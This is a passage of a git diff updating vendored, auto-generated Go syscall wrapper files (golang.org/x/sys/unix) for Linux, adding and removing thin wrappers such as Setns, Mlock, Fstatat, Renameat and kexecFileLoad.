-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1462,8 +24,8 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +34,9 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +45,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +55,9 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1555,6 +113,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
-@@ -1576,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1584,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1592,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1610,14 +183,14 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func InotifyInit() (fd int, err error) {
-+func inotifyInit() (fd int, err error) {
- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
-@@ -1673,21 +246,6 @@ func Listen(s int, n int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Pause() (err error) {
- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
- if e1 != 0 {
-@@ -1732,9 +290,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1743,9 +310,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +332,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1775,8 +343,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1856,21 +425,6 @@ func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n i
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Statfs(path string, buf *Statfs_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1911,6 +465,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2101,6 +665,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -2116,8 +695,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2126,8 +710,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2144,3 +728,18 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-index 4d280427..ac19523e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags linux,arm syscall_linux.go syscall_linux_arm.go
-+// go run mksyscall.go -l32 -arm -tags linux,arm syscall_linux.go syscall_linux_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,arm
-@@ -14,1456 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
